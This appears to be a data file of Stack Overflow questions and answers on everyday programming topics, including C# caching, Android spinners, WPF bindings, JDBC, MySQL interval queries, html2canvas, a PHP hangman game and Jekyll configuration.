38466293	0	 <p>Maybe you could do this:</p> <pre><code>tagFile.Save() if(tagFile.Tag.Title == infoVar1) { MessageBox.Show("Tags saved successfully"); } </code></pre> <p>After saving the tags into a file, you can validate with some attribute like Title, album, etc. :)</p> <p>A simple question, which version(of taglib#) are you using?</p>
33109962	0	 <p>You can do something like this:</p> <pre><code> private void AddHourlyTask(string task) { DateTime expiration = DateTime.Now.AddHours(1); expiration = new DateTime(expiration.Year, expiration.Month, expiration.Day, expiration.Hour, expiration.Minute, expiration.Second, expiration.Kind); OnCacheRemove = new CacheItemRemovedCallback(CacheItemRemoved); HttpRuntime.Cache.Insert( task, task, null, expiration, Cache.NoSlidingExpiration, CacheItemPriority.NotRemovable, OnCacheRemove); } </code></pre> <p>And then in a separate function:</p> <pre><code> public void CacheItemRemoved(string k, object v, CacheItemRemovedReason r) { if (k == "HelloWorld") { Console.Write("Hello, World!"); AddHourlyTask(k); } </code></pre> <p>This would go into your Application_Start() function as:</p> <pre><code>AddHourlyTask("HelloWorld"); </code></pre> <p>In order for this to work, you also need to add this somewhere in your class:</p> <pre><code>private static CacheItemRemovedCallback OnCacheRemove = null; </code></pre> <p>The functions would all sit in your Global.asax.cs file</p>
4808890	0	 <p>Like Felice (+1) said mocking creates a proxy which means you need to either make things virtual (so Moq can work its proxying magic and override the property).</p> <p>As an alternative if you just want to squirt in a value you can manually stub the class you want to test and expose a means to get at the setter:-</p> <pre><code>public class FooStub : Foo { public SetBar(string newValue) { Bar = newValue; } } </code></pre>
16012521	0	 <p>Use this custom Spinner class...</p> <pre><code>/** Spinner extension that calls onItemSelected even when the selection is the same as its previous value */ public class NDSpinner extends Spinner { public NDSpinner(Context context) { super(context); } public NDSpinner(Context context, AttributeSet attrs) { super(context, attrs); } public NDSpinner(Context context, AttributeSet attrs, int defStyle) { super(context, attrs, defStyle); } @Override public void setSelection(int position, boolean animate) { boolean sameSelected = position == getSelectedItemPosition(); super.setSelection(position, animate); if (sameSelected) { // Spinner does not call the OnItemSelectedListener if the same item is selected, so do it manually now getOnItemSelectedListener().onItemSelected(this, getSelectedView(), position, getSelectedItemId()); } } @Override public void setSelection(int position) { boolean sameSelected = position == getSelectedItemPosition(); super.setSelection(position); if (sameSelected) { // Spinner does not call the OnItemSelectedListener if the same item is selected, so do it manually now getOnItemSelectedListener().onItemSelected(this, getSelectedView(), position, getSelectedItemId()); } } } </code></pre>
12728552	0	 <p>Try to declare tabhost as static and call in child activity as below..</p> <p>Instead <strong>private TabHost tabHost;</strong></p> <p>try <strong>static TabHost tabHost;</strong></p> <p>And in your Child Activity </p> <pre><code> AccidentTabActivity.tabHost.setCurrentTab(2); </code></pre> <p>Then you can set your current tab as you want.</p>
19008330	0	How can I best display this nested collection? (Can you tell me why my code isn't working?) <p>Can you tell me why this code isn't working?</p> <p>I have a viewmodel with an observablecollection of searchresults which has an observablecollection of resultproperties. I cannot seem to display the nested collection of result properties like I want.</p> <p>Here are the objects (abstracted for readability):</p> <pre><code>class ViewModel { public ObservableCollection&lt;SearchResults&lt;TDomain&gt;&gt; SearchResults { get; set; } } class SearchResults&lt;TDomain&gt; { public TDomain Result { get; set; } public ObservableCollection&lt;ResultProperty&gt; ResultProperties { get; set; } } class ResultProperty { public string PropertyValue { get; set; } } </code></pre> <p>Here is the xaml I cannot get to work. The DataContext is set to the ViewModel:</p> <pre><code>&lt;StackPanel&gt; &lt;ItemsControl ItemsSource={Binding SearchResults}&gt; &lt;ItemsControl.ItemTemplate&gt; &lt;DataTemplate&gt; &lt;StackPanel&gt; &lt;TextBlock Text={Binding Result.Id}/&gt; &lt;StackPanel Orientation="Horizontal"&gt; &lt;ItemsControl ItemsSource={Binding ResultProperties}&gt; &lt;ItemsControl.ItemTemplate&gt; &lt;DataTemplate&gt; &lt;TextBlock Text="{Binding PropertyValue}" /&gt; &lt;/DataTemplate&gt; &lt;/ItemsControl.ItemTemplate&gt; &lt;/ItemsControl&gt; &lt;/StackPanel&gt; &lt;/StackPanel&gt; &lt;/DataTemplate&gt; &lt;/ItemsControl.ItemTemplate&gt; &lt;/ItemsControl&gt; &lt;TextBlock Text="PLACEHOLDER /////"/&gt; &lt;/StackPanel&gt; </code></pre> <p>The outcome I am looking for is something like this:</p> <pre><code>[Stack panel to keep things orderly] 1 property1property2property3... 2 property1property2property3... 3 property1property2property3... PLACEHOLDER ///// </code></pre> <p>The results I am getting are these</p> <pre><code>[Stack panel to keep things orderly] 1 2 3 PLACEHOLDER ///// </code></pre> <p>In otherwords, the binding isn't picking up the string. I have verified that the collections are populating like expected. But I can't get the xaml to work.</p> <p><em><strong></em>*</strong>*ADDITION INFORMATION</p> <p>Ok, so I tried some of the solutions, but they aren't working so I am going to add more details because maybe I am missing something about how the collections are getting updated.</p> <p>The viewmodel has a button on it called "Search" which uses an ICommand that calls a the view model's TrySearch method which is below:</p> <pre><code>public void TrySearch() { var results = _model.GetAll(); foreach(var result in results) this.SearchResults.Add(new SearchResults&lt;TDomain&gt;(result)); } </code></pre> <p>Could there be a reason this doesn't work because of the way the collection is updated? SearchResults is a dependency property (I know I know, it should be INPC, but its not, its dependency), but the other collections are not. Could this be a problem?</p>
34078274	0	Rstudio freezes when loading some packages <p>When i was loading some packages like"rgl", "aplpack", whenever there's gonna be a red stop sign on the right top corner of console window.</p> <p>My Rstudio just freezes, like </p> <p><a href="https://i.stack.imgur.com/MQOsb.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/MQOsb.png" alt="enter image description here"></a></p> <p>I typed the code like an hour ago, and it is still loading.</p> <p>But other functions work fine. My Rstudio still can run a lot of functions if the red stop sign doesn't need to appear.</p> <p>I have reinstalled Rstudio a lot of times, but it doesn't work. </p>
28960063	0	 <pre><code>timeit.timeit(stmt='pass', setup='pass', timer=&lt;default timer&gt;, number=1000000) </code></pre> <p>Stupid question, the default number of times the statement is executed is one million... I should have read <code>timeit</code> doc before...</p> <pre><code>&gt;&gt;&gt; timeit.timeit('999 in list(xrange(1000))', number=1) 9.083747863769531e-05 </code></pre>
877247	0	 <p>I've spent some time working on this and came up with this to calculate someone's age in years, months and days. I've tested against the Feb 29th problem and leap years and it seems to work, I'd appreciate any feedback:</p> <pre><code>public void LoopAge(DateTime myDOB, DateTime FutureDate) { int years = 0; int months = 0; int days = 0; DateTime tmpMyDOB = new DateTime(myDOB.Year, myDOB.Month, 1); DateTime tmpFutureDate = new DateTime(FutureDate.Year, FutureDate.Month, 1); while (tmpMyDOB.AddYears(years).AddMonths(months) &lt; tmpFutureDate) { months++; if (months &gt; 12) { years++; months = months - 12; } } if (FutureDate.Day &gt;= myDOB.Day) { days = days + FutureDate.Day - myDOB.Day; } else { months--; if (months &lt; 0) { years--; months = months + 12; } days += DateTime.DaysInMonth( FutureDate.AddMonths(-1).Year, FutureDate.AddMonths(-1).Month ) + FutureDate.Day - myDOB.Day; } //add an extra day if the dob is a leap day if (DateTime.IsLeapYear(myDOB.Year) &amp;&amp; myDOB.Month == 2 &amp;&amp; myDOB.Day == 29) { //but only if the future date is less than 1st March if (FutureDate &gt;= new DateTime(FutureDate.Year, 3, 1)) days++; } } </code></pre>
4895469	0	 <p>Did you try this ?</p> <pre><code>-o-transform: rotate(270deg); </code></pre>
1917990	0	 <p>You say that the <code>?</code> is supposed to be for a table name, so you need to provide an actual table name before calling <code>Statement.executeUpdate()</code>. At that point the JDBC driver will tell the database to actually run the statement, so obviously all parameters need to be bound.</p> <p>Maybe you meant to write this:</p> <pre><code>CallableStatement call = jdbcConnection.prepareCall("call sp_msforeachtable(?)"); call.setString(1, "AnActualTableName"); call.executeUpdate(); </code></pre> <p>or maybe you meant to write this:</p> <pre><code>CallableStatement call = jdbcConnection.prepareCall("call sp_msforeachtable(\"ALTER TABLE ? NOCHECK CONSTRAINT all\")"); call.setString(1, "AnActualTableName"); call.executeUpdate(); </code></pre> <p>I'm not sure exactly what <code>sp_msforeachtable()</code> is supposed to do, but I do know that you have to provide values for all parameters before calling <code>executeUpdate()</code></p>
37322582	0	 <p>I used some deprecated event detection methods before and when I updated my code, my server did not clear the cache after flushing it 5 times.</p> <p>The code is fine, thus problem solved !</p>
39620324	0	 <p>Add your forked Sylius repository like this in your composer.json</p> <pre><code>"repositories": [ { "type": "git", "url": "https://github.com/ylastapis/Sylius.git" }], </code></pre> <p>You can either require your master branch or create a custom branch (to merge your code pending that Sylius team accepts your merge, mine is called master-poc)</p> <p>In the require section, require YOUR branch, prefixed by "dev-". so master became dev-master, thus my branch master-poc is now dev-master-poc </p> <pre><code>"require": { "sylius/sylius": "dev-master-poc" }, </code></pre> <p>I also got a branch alias, Can't remember if it's still usefull</p> <pre><code> "extra": { "branch-alias": { "dev-master": "1.0-dev" } } </code></pre> <p>Some link to the doc: <a href="https://getcomposer.org/doc/05-repositories.md#loading-a-package-from-a-vcs-repository" rel="nofollow">https://getcomposer.org/doc/05-repositories.md#loading-a-package-from-a-vcs-repository</a></p>
24642324	0	 <p>That's one of the downsides of having API's that returns <code>null</code>. The <a href="http://en.wikipedia.org/wiki/Null_Object_pattern" rel="nofollow">Null Object</a> pattern could have been used here to simplify the API, relieving the clients from dealing with null values.</p> <p>".offset() returns an object containing the properties top and left"</p> <p>Therfore, you can do something like:</p> <pre><code>var menuOffset = menu.offset() || { top: 0, left: 0 }, menuTop = menuOffset.top + 100; $('.other').css('top', menuTop + 'px'); </code></pre>
11747206	0	 <p>To use this code:</p> <pre><code>(BOOL)textView:(UITextView *)textView shouldChangeTextInRange:(NSRange)range replacementText:(NSString *)text { if([text isEqualToString:"\n"]) { NSString *modifiedString = [textView.text stringByAppendingString:@"\n\u2022"]; [textView setText:modifiedString]; return NO; } return YES; } </code></pre> <p>Your header file must look like this:</p> <pre><code>@interface MyViewController : UIViewController &lt;UITextViewDelegate&gt; { //instance variables in here } </code></pre>
8716830	0	 <p>You can parse the parameters of the url with javascript easily, then check if that particular 'nofade' param exists (or any other) and fade your image if it does</p> <pre><code>$(function(){ // Grab our url parameters and split them into groups var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&amp;'); // assign parameters to our object var params = {}; for(var i = 0; i &lt; hashes.length; i++){ var hash = hashes[i].split('='); params[hash[0]] = hash[1]; } // Now params contains your url parameters in an object if(typeof(params['nofade']) === 'undefined' || !params[nofade]){ // Perform image fade here } }) </code></pre>
30349049	0	 <p>Use <code>int.TryParse</code> to parse the string to int. You also have some issues like sql injection and not using the <code>using</code>-statement. </p> <pre><code>private void iD_FurnizorComboBox_SelectedIndexChanged_1(object sender, EventArgs e) { int id_furnizor; if(!int.TryParse(iD_FurnizorComboBox.Text, out id_furnizor)) { MessageBox.Show("id_furnizor is not a valid integer: " + iD_FurnizorComboBox.Text); return; } using(var connection=new OleDbConnection("Connection String")) { try { string query = @"select f.* from Furnizori f where id_furnizor = @id_furnizor;"; OleDbCommand command = new OleDbCommand(query, connection); command.Parameters.Add("@id_furnizor", OleDbType.Integer).Value = id_furnizor; connection.Open(); OleDbDataReader reader = command.ExecuteReader(); if (reader.Read()) { numeTextBox.Text = reader.GetString(reader.GetOrdinal("nume")); adresaTextBox.Text = reader.GetString(reader.GetOrdinal("adresa")); localitateTextBox.Text = reader.GetString(reader.GetOrdinal("localitate")); judetTextBox.Text = reader.GetString(reader.GetOrdinal("judet")); } } catch (Exception ex) { throw; // redundant but better than throw ex since it keeps the stacktrace } }// not necessary to close connection, done implicitly } </code></pre>
29775723	0	 <p>I had a bit similar problem. Which was actually being raised due to the duplication of name attribute of the job listener; which should be unique.</p> <p>jobWasExecuted() method of listener gets called after the execute method of the job has finished its work. Roughly the Call hierarchy is like this</p> <ol> <li>Listener->jobToBeExecuted()</li> <li>Job->execute() </li> <li>Listener->jobWasExecuted()</li> </ol> <p>PS: Though a bit late but may be helpful to someone.:D</p>
26189656	0	How can I set an NSDate object to midnight? <p>I have an <code>NSDate</code> object and I want to set it to an arbitrary time (say, midnight) so that I can use the <code>timeIntervalSince1970</code> function to retrieve data consistently without worrying about the time <em>when</em> the object is created.</p> <p>I've tried using an <code>NSCalendar</code> and modifying its components by using some Objective-C methods, like this:</p> <pre class="lang-swift prettyprint-override"><code>let date: NSDate = NSDate() let cal: NSCalendar = NSCalendar(calendarIdentifier: NSGregorianCalendar)! let components: NSDateComponents = cal.components(NSCalendarUnit./* a unit of time */CalendarUnit, fromDate: date) let newDate: NSDate = cal.dateFromComponents(components) </code></pre> <p>The problem with the above method is that you can only set one unit of time (<code>/* a unit of time */</code>), so you could only have one of the following be accurate:</p> <ol> <li>Day</li> <li>Month</li> <li>Year</li> <li>Hours</li> <li>Minutes</li> <li>Seconds</li> </ol> <p>Is there a way to set hours, minutes, and seconds at the same time and retain the date (day/month/year)?</p>
6376252	0	 <p>COALESCE() function could be your friend here.</p>
16887247	0	 <p>The std::getline function you're using saves an input to a string (see: <a href="http://www.cplusplus.com/reference/string/string/getline/" rel="nofollow">http://www.cplusplus.com/reference/string/string/getline/</a>). If the argument you pass to the function was a string, it would get the whole line from your file, which is "0 50 100" and put it in your string.</p> <p>You could trying to save it to a string and then splitting it to three parts and converting to ints using atoi or std::stoi in C++11 (check <a href="http://stackoverflow.com/questions/7663709/convert-string-to-int-c">Convert string to int C++</a>) - this way it would be easier to handle possible errors. </p> <p>But there's an easier way to do it - assuming your numbers are split by spaces and pretty much everything is correct with them, the ">>" operator breaks on spaces. Try:</p> <pre><code>inFile &gt;&gt; inVal1; inFile &gt;&gt; inVal2; inFile &gt;&gt; inVal3; </code></pre> <p>Also, using cin.ignore() is not necessary when using the inFile buffer. Every stream has a different buffer associated with it (and cin != inFile) so you don't need to clear the cin buffer to read from your file.</p>
36531298	0	 <p>This should work for you:</p> <pre><code>SELECT * FROM E WHERE EXISTS ( SELECT 1 FROM A JOIN B ON A.B_key = B.B_key JOIN C ON B.C_key = C.C_key JOIN D ON C.D_key = D.D_key WHERE D.E_key = E.E_key AND A.A_key = ? ) </code></pre>
18673345	0	 <blockquote> <p>I am not sure how to tell regex "look for this in a new line, if it's there, capture the line. if it's not there, just stay on the current line.</p> </blockquote> <p>You could just match the new line as part of an expression repeated multiple times, e.g:</p> <pre><code>\d{3}(\n\d{3})* </code></pre> <p>Not sure of the specifics of exactly what you want to match but this is the best I could come up with without further info...</p>
14557076	0	 <p>Just guessing at what you're trying to do here....</p> <pre><code>Set range1 = wbk1.Worksheets(1).Range("R3:R20") 'are range 2 and 3 on the same row? Set range2 = wbk2.worksheets(2).Range("N" &amp; .Rows.Count).End(xlup).Offset(1,0) Set range3 = wbk2.worksheets(2).Range("O" &amp; .Rows.Count).End(xlup).Offset(1,0) For Each c in g.keys For Each d in range1.Cells If c = d Then range2.Value = d range3.value = d.Offset(0,-16) 'What now? Once one match has been found, ' any later matches will write to the same cells... End If Next d Next c </code></pre>
29308065	0	MYSQL Query Count in time interval <p>My goal is to be able to graph the number of calls every X (5 minutes, or weekly or monthly) intervals and if there are no calls, indicate that as well. In the following example the interval is every 5 minutes. call_date and called_num are both fields in a mysql table. Call_interval and num_calls are what I am trying to extract with a MYSQL Query, and call_interval is <strong>NOT</strong> in my database table (does it need to be??). </p> <p>What should my MYSQL QUERY look like? </p> <p>Here is what I have, but I am unable to retrieve the time intervals and 0s in the result.</p> <pre><code>SELECT Count(*) AS num_calls FROM cdr WHERE DATE(call_date) = CURDATE() GROUP BY ( 12 * HOUR( call_date ) + FLOOR( MINUTE( call_date ) / 5 )) mysql table: call_date called_num 3/26/2015 8:31:27 AM 555-987-6543 3/26/2015 8:32:27 AM 555-987-6544 3/26/2015 8:34:27 AM 555-987-6545 3/26/2015 8:35:27 AM 555-987-6546 3/26/2015 8:36:27 AM 555-987-6547 3/26/2015 8:51:27 AM 555-987-6548 3/26/2015 8:55:27 AM 555-987-6549 ideal mysql result: call_interval num_calls 3/26/2015 8:30:00 AM 3 3/26/2015 8:35:00 AM 2 3/26/2015 8:40:00 AM 0 3/26/2015 8:45:00 AM 0 3/26/2015 8:50:00 AM 1 3/26/2015 8:55:00 AM 1 ..... and so on from 3/26/2015 00:00:00 AM to 3/26/2015 11:55:00 PM </code></pre> <p>Thank You.</p>
32019322	0	HOWTO create GoogleCredential by using Service Account JSON <p>I am using the Java SDK for <code>Android Publisher v2</code> and <code>Oauth2 v2</code>. Once I created the service account I was provided with a JSON of <code>Google Play Android Developer</code> service account with client id, email, private key etc. I have tried to look around and figure out how to create a Credential so that I use the AndoirdPublisher service to fetch info on my Android App's users subscriptions, entitlements etc and store this info on our backend servers.</p> <p>I am getting hard time trying to figure out how to go about this. None of the documentations I have seen so far help in creating <code>GoogleCredential</code> using the downloaded JSON. </p> <p>For example there is this <a href="https://developers.google.com/identity/protocols/OAuth2ServiceAccount" rel="nofollow">documentation</a> but it mentions only about P12 file and not the JSON. I want to avoid P12 if possible since I have multiple clients &amp; I would like to save this JSON in some sort of database &amp; then use it to create credential for each client.</p> <p>Just to clarify I am trying to create the GoogleCredential object as described here,</p> <pre><code>import com.google.api.client.googleapis.auth.oauth2.GoogleCredential; import com.google.api.client.googleapis.javanet.GoogleNetHttpTransport; import com.google.api.client.http.HttpTransport; import com.google.api.client.json.JsonFactory; import com.google.api.client.json.jackson2.JacksonFactory; import com.google.api.services.sqladmin.SQLAdminScopes; // ... String emailAddress = "123456789000-abc123def456@developer.gserviceaccount.com"; JsonFactory JSON_FACTORY = JacksonFactory.getDefaultInstance(); HttpTransport httpTransport = GoogleNetHttpTransport.newTrustedTransport(); GoogleCredential credential = new GoogleCredential.Builder() .setTransport(httpTransport) .setJsonFactory(JSON_FACTORY) .setServiceAccountId(emailAddress) .setServiceAccountPrivateKeyFromP12File(new File("MyProject.p12")) .setServiceAccountScopes(Collections.singleton(SQLAdminScopes.SQLSERVICE_ADMIN)) .build(); </code></pre> <p>But instead of setting the Service Account using P12 File like so <code>setServiceAccountPrivateKeyFromP12File()</code>, I want to use the JSON that carries the same info &amp; generated when I created the service account.</p>
14396233	0	 <p>For smaller numbers (counts) you can use <code>stripchart</code> with <code>method="stack"</code> like this:</p> <pre><code>stripchart(c(rep(0.3,10),rep(0.5,70)), pch=19, method="stack", ylim=c(0,100)) </code></pre> <p>But stripchart does not work for 700 dots.</p> <hr> <p><em>Edit:</em></p> <p>The <code>dots()</code> function from the package <a href="http://cran.r-project.org/web/packages/TeachingDemos/index.html" rel="nofollow">TeachingDemos</a> is probably what you want:</p> <pre><code> require(TeachingDemos) dots(x) </code></pre>
28436502	0	Global data from eloquent in Laravel to be used for layout <p>I am using some variables in the layout which will load data from the eloquent. For this purpose I am using repository pattern which are injected into the controller through constructor. But obviously, I don't want to repeat this logic in every controller I make.</p> <p>What is the best approach to solve this? </p> <p>I have tried injecting the repositories into the BaseController constructor, but the baseController constructor is not getting called automatically. I need to call for parent::__construct() first which requires repositories parameters to be passed. Which I believe is not the correct way to do this.</p> <p>This is my BaseController. </p> <pre><code> class BaseController extends Controller { /** * Setup the layout used by the controller. * * @return void */ protected $repo; public function __construct(Repository $repo) { $this-&gt;repo = $repo; } protected function setupLayout() { if ( ! is_null($this-&gt;layout)) { $this-&gt;layout = View::make($this-&gt;layout); } $data = $this-&gt;repo-&gt;someMethod(); View::share('global_data',$data); } } </code></pre> <p>BaseController constructor is not called automatically to resolve the dependencies.</p> <p>What is the best approach to have global data from repositories to be used in the layout?</p>
30324059	0	Create a Function which returns -1 for empty matrix, 0 for scalar, 1 for vector, 2 for none of these <p>I am not allowed to use <code>isempty</code>, <code>isscalar</code>, or <code>isvector</code>.</p> <p><strong>My code is :</strong></p> <pre><code> function a = classify(x) b = sum(x(:)); c = sum(b); if c == 0 a = -1; elseif length(x) == 1 a = 0; elseif length(x) &gt; 1 a = 1; else a = 2; end </code></pre> <p>I am getting error with input :</p> <pre><code> 0 1 0 0 0 1 1 1 0 0 1 1 0 0 1 1 0 0 1 1 1 0 1 1 1 1 1 0 0 1 0 1 0 1 0 1 0 0 1 1 1 1 0 1 0 0 0 0 1 </code></pre> <p>Output for above input is 1 </p> <p>My Auto grader is giving the following error:</p> <blockquote> <p>Feedback: Your function made an error for argument(s) <code>[0 1 0 0 0 1 1;1 0 0 1 1 0 0;1 1 0 0 1 1 1;0 1 1 1 1 1 0;0 1 0 1 0 1 0;1 0 0 1 1 1 1;0 1 0 0 0 0 1]</code> Your solution is <em>not</em> correct.</p> </blockquote>
35407772	0	HTML2Canvas does not display in new window <p>I have tried to display the contents of the body tag in HTML using the following code</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;script src="jspdf.debug.js"&gt;&lt;/script&gt; &lt;script src="//cdn.rawgit.com/niklasvh/html2canvas/0.5.0-alpha2/dist/html2canvas.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; function demoFromHTML() { $('body').html2canvas(); var queue = html2canvas.Parse(); var canvas = html2canvas.Renderer(queue,{elements:{length:1}}); var img = canvas.toDataURL(); window.open(img); } &lt;/script&gt; &lt;/head&gt; &lt;body onload = "demoFromHTML();"&gt; &lt;div id="customers"&gt; &lt;table id="tab_customers" class="table table-striped" &gt; &lt;colgroup&gt; &lt;col width="20%"&gt; &lt;col width="20%"&gt; &lt;col width="20%"&gt; &lt;col width="20%"&gt; &lt;/colgroup&gt; &lt;thead&gt; &lt;tr class='warning'&gt; &lt;th&gt;Country&lt;/th&gt; &lt;th&gt;Population&lt;/th&gt; &lt;th&gt;Date&lt;/th&gt; &lt;th&gt;Age&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;Chinna&lt;/td&gt; &lt;td&gt;1,363,480,000&lt;/td&gt; &lt;td&gt;March 24, 2014&lt;/td&gt; &lt;td&gt;19.1&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;India&lt;/td&gt; &lt;td&gt;1,241,900,000&lt;/td&gt; &lt;td&gt;March 24, 2014&lt;/td&gt; &lt;td&gt;17.4&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;United States&lt;/td&gt; &lt;td&gt;317,746,000&lt;/td&gt; &lt;td&gt;March 24, 2014&lt;/td&gt; &lt;td&gt;4.44&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Indonesia&lt;/td&gt; &lt;td&gt;249,866,000&lt;/td&gt; &lt;td&gt;July 1, 2013&lt;/td&gt; &lt;td&gt;3.49&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Brazil&lt;/td&gt; &lt;td&gt;201,032,714&lt;/td&gt; &lt;td&gt;July 1, 2013&lt;/td&gt; &lt;td&gt;2.81&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>I tried to add the following</p> <pre><code>&lt;script src="~/Js/jquery-1.9.1.js"&gt;&lt;/script&gt; &lt;script src="~/Js/html2canvas.js"&gt;&lt;/script&gt; &lt;script src="~/Js/jquery.plugin.html2canvas.js"&gt;&lt;/script&gt; </code></pre> <p>I am not able to see any output . I need to export the contents of div to PDF by taking a screenshot using HTML2Canvas. Am I doing anything wrong in this code ? </p>
1358282	0	 <p>As specified on MSDN, </p> <blockquote> <p>A multidimensional array is serialized as a one-dimensional array, and you should use it as a flat array.</p> </blockquote> <p>As specified by Phil.Wheeler, this code does what you want:</p> <pre><code>List&lt;int[]&gt; name = new List&lt;int[]&gt;(){ new int[]{ 23, 21, 10 }, new int[]{ 45, 43, 50 }, new int[]{ 23, 21, 90 } }; string ser = (new System.Web.Script.Serialization.JavaScriptSerializer()).Serialize(name); </code></pre> <p>Hope it will help</p>
37994259	0	 <p>When a user makes a request using Goutte, a <code>Symfony\Component\DomCrawler</code> instance is returned. The Crawler object provides the <a href="http://symfony.com/doc/current/components/dom_crawler.html#links" rel="nofollow">Crawler::links()</a> utility method, providing all links within the given crawler object.</p> <p>The <code>Crawler::links()</code> method will return an array of links found within.</p> <pre><code>$links = $crawler-&gt;links(); foreach ($links as $link) { echo $link-&gt;getUri(); } </code></pre>
21094040	0	 <p>This issue has been fixed in the latest version of scikit-image.</p>
19461888	0	 <p>what command are you using to insert below? </p> <p>If you use the standard "o" keystroke while in Navigation mode, it should insert a new line immediately below whatever the cursor is on, and automatically place you into Insert mode, without inserting an extra "</p> <p>Similarly an uppercase "O" will insert a new line above whatever line the cursor is on, and place you in insert mode.</p>
32120721	0	 <p>what I am doing right now: forget about <code>gtk.builder.connect_signals</code>.</p> <p>so after your code:</p> <pre><code>ui_builder = gtk.Builder() ui_builder.add_from_file('main.ui') self.win_main = builder.get_object('win_main') </code></pre> <p>I would have something similar to this:</p> <pre><code>list_of_handler_ids = [] import libxml2 doc = libxml2.parseFile('main.ui') ctxt = doc.xpathNewContext() signals = ctxt.xpathEval('//signal') for s in signals: handler = getattr(self, s.prop('handler')) signaller = getattr(self.win_main, s.parent.prop('id')) handler_id = signaller.connect(s.prop('name'), handler) list_of_handler_ids.append(handler_id) </code></pre> <p>which seems to sort of work after a first quick check.</p>
27428376	0	 <p>I am 100% agree with nickL you have some formating issue in your query try to replace your search query by this:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code> $firstname=$_POST['firstname']; $surname=$_POST['surname']; $query = "SELECT * FROM lEmployee WHERE FirstName LIKE '%".$firstname."%' OR Surname LIKE '%".$surname."%'"; $q=mssql_query($sql);</code></pre> </div> </div> php is a case sensitive language your post variables name are wrong replace the code and try again, if not succeeded try echo $query and run it in query browser in sql server.</p> <p>hope this will fix the issue. </p>
35590776	0	Can I create and open an HTML file with VBA? <p>I have a function that generates the HTML, CSS, and JS that I want. All the code is stored in a string variable.</p> <p>How would I get VBA to create a .html file and open it in the default web browser?</p>
25503137	0	 <p><code>btc_usd</code> and <code>btsx_btc</code> are promises, not numbers! You cannot simply multiply them - and you <a href="http://stackoverflow.com/q/14220321/1048572">can't make the asynchronous <code>getJSON</code> return a number</a>. Instead, use <a href="http://api.jquery.com/jQuery.when/" rel="nofollow"><code>jQuery.when</code></a> to wait for both values to arrive:</p> <pre><code>getValue = (url) -&gt; $.getJSON url .then (json) -&gt; json.last $(window).load -&gt; btsx_btc = getValue "http://data.bter.com/api/1/ticker/btsx_btc" btsx_btc.done (data) -&gt; $('#v_btsx_btc').html data btc_usd = getValue "http://data.bter.com/api/1/ticker/btc_usd" btc_usd.done (data) -&gt; $('#v_btc_usd').html data $.when btsx_btc, btc_usd .done (data1, data2) -&gt; $('#v_btsx_usd').html data1*data2 </code></pre>
32066015	0	 <p>So basically you just want to remove all from the first list which appear in the second list and performance is important?</p> <p>I like <a href="http://stackoverflow.com/a/32013973/284240">Georges approach</a> most, it is the most efficient if the list is getting large. But <code>List.RemoveAll</code> is also more efficient:</p> <pre><code>dataList.RemoveAll(d =&gt; filterList.Any(x =&gt; x.ID == d.DataID)); </code></pre>
10612401	0	 <pre><code>$('div.hide').hide(300,function() { // first hide all `.hide` $('#'+ id +'.hide').show(); // then show the element with id `#1` }); </code></pre> <p><em><strong>NOTE: DON'T USE ONLY NUMERIC ID. NOT PERMITTED. <a href="http://stackoverflow.com/questions/7987636/why-cant-i-have-a-numeric-value-as-the-id-of-an-element">READ THIS</a></em></strong></p>
39221893	0	PHP counting the letters in a word (HANGMAN) <p>I am trying to make a hangman game. I have a few words in an array and when one of them is picked I want to count how many letters are in that word so that it can then make that amount of spaces or dashes. Also I need an efficient way to put each letter of the word onto the screen. Each letter is to be invisible, so then when the letter is guessed it will be made visible.</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt; Hangman &lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt; Hangman &lt;h1&gt; &lt;?php session_start(); $maxAttempts = 6; $letters = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o', 'p','q','r','s','t','u','v','w','x','y','z'); ?&gt; &lt;form name="lettersubmit" method="post" action="Hangman.php" &gt; &lt;input name="letterguess" type= "text" value=""&gt; &lt;input name="submit" type="submit" value="Guess a Letter!"&gt;&lt;br&gt; &lt;p&gt; Guesses Remaining &lt;p&gt; &lt;input name="triesRemaining" type="text" value="&lt;?php print("$maxAttempts"); ?&gt;"&gt; &lt;/form&gt; &lt;?php $letterguess = $_POST["letterguess"]; if($letterguess= $word){ echo ("correct"); } if(!isset($_POST["submit"])){ $words = array ( "giants", "triangle", "particle", "birdhouse", "minimum", "flood", $word = $words[array_rand($words)]; ); } if(isset($_POST["submit"])){ $maxAttempts--; } $word = $words[array_rand($words)]; echo $words[array_rand($words)]; ?&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
22516992	0	 <p>To match a whole string that doesn't contain <code>101</code>:</p> <pre><code>^(?!.*101).*$ </code></pre> <p>Look-ahead are indeed an easy way to check a condition on a string through regex, but your regex will only match alphanumeric words that do not start with <code>101</code>.</p>
37661774	0	 <p>Change your <code>baseurl: ""</code> in _config.yml to <code>baseurl: "/"</code>.</p> <p>The code in your head.html include is <code>&lt;link rel="stylesheet" href="{{ "css/main.css" | prepend: site.baseurl }}"&gt;</code></p> <p>Jekyll renders this code as <code>&lt;link rel="stylesheet" href="css/main.css"&gt;</code>. That code tries to find main.css relative to the page. </p> <p>Add the / and the code rendered will be <code>&lt;link rel="stylesheet" href="/css/main.css"&gt;</code>. This will try to find main.css relative to the site root.</p> <p>More info on relative paths - <a href="http://www.motive.co.nz/glossary/linking.php" rel="nofollow">http://www.motive.co.nz/glossary/linking.php</a></p>
